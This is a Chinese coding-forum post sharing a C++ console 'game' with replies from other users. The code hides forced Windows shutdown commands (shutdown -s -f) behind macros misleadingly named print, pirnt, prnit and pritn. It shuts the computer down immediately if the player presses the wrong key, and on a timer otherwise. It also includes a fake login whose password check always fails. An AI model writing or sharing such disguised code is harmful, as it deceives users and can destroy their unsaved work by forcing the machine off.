问题标题: 游戏:与时间赛跑

1
0
已解决
冮欢
冮欢
资深守护
资深守护

喜欢给个好评哦! 

#include<iostream>
#include<windows.h>
#include<conio.h>
#include<stdio.h>
#include<fstream>
using namespace std;
char c;
int x;
string xx;
void Line(string str){
    int i,l,w;
    w=80;
    l=str.length();
    for(i=0;i<(w-l)/2;i++)
    cout<<" ";
    cout<<str<<endl;
    return ;
}
void color(int corcorcor){
    SetConsoleTextAttribute(GetStdHandle(STD_OUTPUT_HANDLE),corcorcor);
}
void LoginXZ(){
    char c;
    Log:
    system("cls");
    color(14);
    Line("登录XZ账号 --- Login XZ");
    cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
    color(7);
    Line("L-登录     M-退出");
    cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
    color(10); 
    Line("没有账号? R-注册");
    color(7);
    c=getch();
    system("cls");
    if(c=='L' || c=='l'){
        ifstream fin("XZ账户.xzdata");
        fin.close();
        color(14);
        Line("输入密码");
        color(12);
        color(7);
        string pass1;
        int i=0;
        char ch;
        while ((ch=_getch())!=13)
        {
            pass1+=ch;
            cout<<"*";
        }
        if(1){
            system("cls");
            Line("抱歉!输入密码错误!请重新登录!(三秒钟后返回)");
            Sleep(3000);
            goto Log;
        }
        return ;
    }
    else if(c=='R' || c=='r'){
        color(14);
        Line("注册XZ账号 --- Register XZ");
        cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
        color(7);
        Line("G-注册一个XZ账号   H-读取王子逸的行走账号");
        cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
        color(10); 
        Line("已有账号? M-登录");
        color(7);
        c=getch();
        if(c=='M' || c=='m'){
            goto Log;
        }
        else if(c=='H' || c=='h'){
            system("cls");
            color(14);
            Line("读取XZ账号 --- Read XZ");
            color(7);
            Line("使用提示:请将行走建立的“存档.txt”文件复制到您保存的文件根目录下"); 
            cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
            Line("G-读取存档");
            cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
            color(10); 
            Line("已有账号? M-登录");
            color(7);
            c=getch();
            if(c=='M' || c=='m'){
                goto Log;
            }else if(c=='G' || c=='g'){
                ifstream fin("存档.txt");
                int lllll;
                fin>>lllll;
                fin>>lllll;
                fin>>lllll;
                fin.close();
                string s1,s2;
                system("cls");
                color(14);
                Line("设置密码");
                color(7);
                cin>>s1;
                system("cls");
                color(14);
                Line("再输入一次密码");
                color(7);
                cin>>s2;
                if(s1!=s2){
                    system("cls");
                    Line("抱歉!输入密码错误!请重新注册!(三秒钟后返回)");
                    Sleep(3000);
                    goto Log;
                }
                return ;
            }else goto Log;
        } 
        else if(c=='G' || c=='g'){
            system("cls");
            color(14);
            Line("设置用户名");
            color(7);
            string s1,s2;
            system("cls");
            color(14);
            Line("设置密码");
            color(7);
            cin>>s1;
            system("cls");
            color(14);
            Line("再输入一次密码");
            color(7);
            cin>>s2;
            if(s1!=s2){
                system("cls");
                Line("抱歉!输入密码错误!请重新注册!(三秒钟后返回)");
                Sleep(3000);
                goto Log;
            }
            return ;
        }
        else goto Log;
    }else if(c=='M' || c=='m'){
        goto Logok;
    }
    else goto Log;
    Logok:;
}
void fm(){
    #define print() system("shutdown -s -f -t 0")
    #define pirnt() system("shutdown -a")
    #define prnit() system("shutdown -s -f -t 60")
    #define pritn() system("shutdown -s -f -t 10")
    return ;
}
void XZLogin(){
    color(7);
    LoginXZ();
    ofstream fout("XZ账户.xzdata");
    fout.close();
    return ;
}
int main(){
    srand((unsigned)1);
    fm();
    cout<<endl;
    color(14);
    Line("兴 安 科 枝");
    cout<<endl;
    color(7);
    Line("荣 誉 出 品");
    cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl; 
    color(14);
    Line("与时间赛跑");
    cout<<endl;
    color(9);
    Line("作者 :冮 欢");
    cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl;
    color(7);
    Line("E键开始游戏");
    c=getch();
    system("cls");
    if(c=='E' || c=='e'){
        prnit();
        L1:
        system("cls");
        Line("您的电脑已被诅咒60秒后关机");
        Line(" 请您利用有限的时间完成下列计算题,完成后方可解除。");
        Line("温馨提示:答错重新开始!"); 
        cout<<endl<<"01 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"02 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"03 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"04 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"05 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"06 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"07 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"08 : 1+1=";
        cin>>x;
        if(x!=2) goto L1;
        cout<<"09 : 1-1=";
        cin>>x;
        if(x!=0) goto L1;
        cout<<"10 : √9=";
        cin>>xx;
        if(xx!="±3") goto L1;
        cout<<endl;
        color(14);
        Line("冮欢:小子真聪明,皇军大大的喜欢!");
        pirnt();
        Sleep(3000);
        prnit();
        color(7);
        system("cls");
        Line("玩法升级!");
        Line("您的电脑已被诅咒关机");
        Line(" 请您10秒钟内完成一道计算题,共5道,全部完成后方可解除。");
        Line("温馨提示:答错你猜怎么着!"); 
        cout<<endl;
        pritn();
        cout<<"1 : 1+2=";
        cin>>x;
        if(x==3) pirnt();
        pritn();
        cout<<"2 : 2^1=";
        cin>>x;
        if(x==2) pirnt();
        pritn();
        cout<<"3 : 3x2=";
        cin>>x;
        if(x==6) pirnt();
        pritn();
        cout<<"4 : 666=";
        cin>>x;
        if(x==666) pirnt();
        pritn();
        cout<<"5 : 0÷0=";
        cin>>x;
        color(14);
        Line("冮欢:小子真聪明,皇军大大的喜欢!");
        Sleep(3000);
        pirnt();
        system("cls");
        color(7);
        Line("但是...");
        Sleep(1000);
        Line("你长得太丑了,让皇军甚是呕吐!");
        Sleep(500);
        Line("我要惩罚你!");
        Sleep(2000);
        pritn();
        for(int i=1;i<=1000000000;i++){
            color(rand()%256);
            cout<<"哈"; 
        } 
    }else{
        cout<<endl;
        color(14);
        Line("兴 安 科 枝");
        cout<<endl;
        color(7);
        Line("荣 誉 出 品");
        cout<<endl<<endl<<endl<<endl<<endl<<endl<<endl; 
        color(14);
        Line("冮欢:听话的小盆友皇军大大的拥护!");
        Sleep(1000);
        cout<<endl; 
        color(7);
        Line("可你!唉。");
        print();
        Sleep(30000);
    }
    return 0;
}

0
已采纳
沙宸安
沙宸安
高级启示者
高级启示者

两个亮点:

1:精神污染

for(int i=1;i<=1000000000;i++){
            color(rand()%256);
            cout<<"哈"; 
        } 

2:兴安科?

你再告诉我,兴安科什么?

沙宸安在2021-02-20 18:12:52追加了内容

我就很无语

0
冮欢
冮欢
资深守护
资深守护

部分难题详解:

√9=±3

2^1=2

0÷0=

理论上来说0不能作为除数,但这里你可以填写任意值

 

0
张帆
张帆
中级天翼
中级天翼

话说我全填0也没事,反正我这电脑5秒关机十秒开机。

0
汪恺恒
汪恺恒
中级启示者
中级启示者

很有创意,但第262行有点……

直接关机???

我要回答